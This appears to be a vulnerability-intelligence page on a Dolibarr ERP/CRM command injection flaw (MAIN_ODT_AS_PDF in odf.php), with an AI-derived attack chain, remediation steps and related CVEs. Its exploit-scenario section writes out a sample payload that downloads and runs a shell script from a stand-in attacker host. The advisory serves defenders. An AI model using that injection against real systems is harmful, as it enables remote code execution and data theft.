Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain admin credentials
-
DeliveryAuthenticate to Dolibarr interface
-
ExploitModify MAIN_ODT_AS_PDF configuration with injected commands
-
ExecutionTrigger ODT template generation
-
PersistExecute arbitrary code as web server user
-
ImpactEstablish persistence or exfiltrate data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated administrative access (PR:H in CVSS vector) to modify the MAIN_ODT_AS_PDF configuration constant via Dolibarr's settings interface. The ODT template generation feature must be enabled and functional, requiring server-side conversion tools (such as LibreOffice or unoconv) to be installed and configured. Exploitation limits: the attacker must already possess or obtain admin-level credentials, which typically requires separate compromise vectors like credential theft, social engineering, or exploitation of other vulnerabilities. No user interaction (UI:N) is required after configuration modification - any subsequent ODT template generation by any user will trigger the injected commands. Default Dolibarr installations with ODT functionality enabled are exploitable once admin access is achieved. |
| Impact | While the CVSS 4.0 score of 9.4 is critical, real-world risk is constrained by the requirement for administrative authentication (PR:H). The attack vector is network-based (AV:N) with low complexity (AC:L), meaning authenticated admins can exploit this remotely without special conditions. However, the prerequisite of administrative access significantly reduces the attack surface compared to unauthenticated vulnerabilities. Organizations should assess whether untrusted users have administrative privileges or if admin credentials are at risk of compromise. The vulnerability enables complete system compromise (VC:H/VI:H/VA:H) with scope change affecting underlying infrastructure (SC:H/SI:H/SA:H), making it severe for environments where the web server has access to sensitive resources or databases. No public exploit code identified at time of analysis and no CISA KEV listing, suggesting limited evidence of active exploitation. Priority should be high for internet-facing Dolibarr installations with multiple administrators or weak admin credential policies, but lower than similar vulnerabilities requiring no authentication. The confined scope to a specific feature (ODT template generation) provides some natural limitation unless this is a heavily-used function. |
| Exploit ScenarioDerived | An attacker who has compromised administrator credentials (via phishing, credential stuffing, or session hijacking) logs into the Dolibarr administrative interface. They navigate to the configuration settings and modify the MAIN_ODT_AS_PDF constant to include a command injection payload such as '; wget http://attacker.com/shell.sh -O /tmp/x.sh; bash /tmp/x.sh #'. When any user subsequently generates a document from an ODT template, the odf.php module executes the injected commands, downloading and running a reverse shell that connects back to the attacker's server. The attacker now has shell access as the web server user, enabling database exfiltration, lateral movement, or privilege escalation depending on server hardening. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 17, 2026
Command injection in Dolibarr ERP/CRM versions before 23.0.0 allows authenticated administrators to execute arbitrary operating system commands during ODT-to-PDF template conversion. The vulnerability stems from unsanitized concatenation of the MAIN_ODT_AS_PDF configuration constant into shell commands in odf.php. Exploitation requires administrative privileges (PR:H) but can be executed remotely (AV:N) with low complexity (AC:L), resulting in full system compromise as the web server user. Fixed in version 23.0.0. EPSS data not available; no public exploit identified at time of analysis.
RemediationAI
Upgrade to Dolibarr version 23.0.0 or later, which implements proper input sanitization for the MAIN_ODT_AS_PDF configuration constant. The patched version is available from the official GitHub repository at https://github.com/Dolibarr/dolibarr/releases/tag/23.0.0. If immediate patching is not feasible, implement compensating controls: disable ODT template generation functionality by restricting access to odf.php at the web server level (e.g., Apache/Nginx configuration blocking the specific endpoint), which prevents exploitation but breaks ODT-to-PDF conversion features for all users; apply strict web application firewall (WAF) rules to detect and block shell metacharacters in configuration settings, though this may be bypassed with encoding techniques; or limit administrative access to only trusted IP addresses via firewall rules and enforce multi-factor authentication for all admin accounts to reduce credential compromise risk. Each workaround has operational impact on either functionality or administrative workflows, making version upgrade the preferred solution. Review system logs for suspicious exec() calls or unexpected child processes spawned by the web server as indicators of prior exploitation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dolibarr's ODT (OpenDocument Text) template processing mechanism converts documents to PDF by invoking external system commands via PHP's exec() function. The odf.php module constructs these commands by directly concatenating the MAIN_ODT_AS_PDF configuration setting without input validation or escaping. This is a classic CWE-78 (OS Command Injection) vulnerability where untrusted input flows into a shell command interpreter. Administrators can modify the MAIN_ODT_AS_PDF constant through the application's configuration interface. By injecting shell metacharacters (such as semicolons, pipes, or command substitution operators), attackers can append arbitrary commands that execute with the privileges of the web server process (typically www-data, apache, or nginx user). The vulnerability affects all Dolibarr installations prior to version 23.0.0 across all platforms where the ODT template feature is enabled.
Know when Dolibarr gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. In versions prior to 23.0.0 , the ODT to PDF conversion process in odf.php concatenates the MAIN_ODT_AS_PDF configuration constant directly into a shell command passed to exec() without sanitization. An authenticated administrator can inject arbitrary OS commands via this constant using command separators, achieving remote code execution as the web server user when any ODT template is generated. This issue has been fixed in version 23.0.0.
Executive ViewAI
Dolibarr ERP/CRM versions before 23.0.0 contain a critical command injection vulnerability in PDF template conversion that allows authenticated administrators to execute arbitrary system commands remotely, potentially compromising the entire application server and its data. Organizations running affected versions face immediate risk of unauthorized system access and data breach if administrative accounts are compromised or misused.
Apply vendor patch. If upgrade cannot be completed within 7 days: (1) restrict administrator role membership to essential personnel only; (2) disable ODT-to-PDF template conversion feature if not actively used; (3) implement network segmentation to limit web server outbound command execution; (4) enable detailed audit logging of configuration and template changes by administrators.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
An issue in Dolibarr ERP CRM v.17.0.1 and before allows a remote privileged attacker to execute arbitrary code via a cra
Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: <?PHP instea
Dolibarr ERP/CRM 4.0.4 has SQL Injection in doli/theme/eldy/style.css.php via the lang parameter. Rated critical severit
Cross Site Scripting vulnerability in Dolibarr ERP CRM v.17.0.1 and before allows a remote attacker to obtain sensitive
Dolibarr ERP/CRM 4.0.4 stores passwords with the MD5 algorithm, which makes brute-force attacks easier. Rated critical s
SQL injection attacks can result in unauthorized access to sensitive data, such as passwords, credit card details, or pe
Dolibarr Open Source ERP & CRM for Business before v14.0.1 allows attackers to escalate privileges via a crafted API. Ra
Dolibarr ERP & CRM <=15.0.3 is vulnerable to Eval injection. Rated critical severity (CVSS 9.8), this vulnerability is r
The website builder module in Dolibarr 13.0.2 allows remote PHP code execution because of an incomplete protection mecha
The htdocs/index.php?mainmenu=home login page in Dolibarr 10.0.6 allows an unlimited rate of failed authentication attem
SQL injection vulnerability in Dolibarr before 7.0.2 allows remote attackers to execute arbitrary SQL commands via vecto
Dolibarr ERP CRM 7.0.3 contains a remote code evaluation vulnerability that allows unauthenticated attackers to execute
EUVD-2026-23502
GHSA-w5j3-8fcr-h87w
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB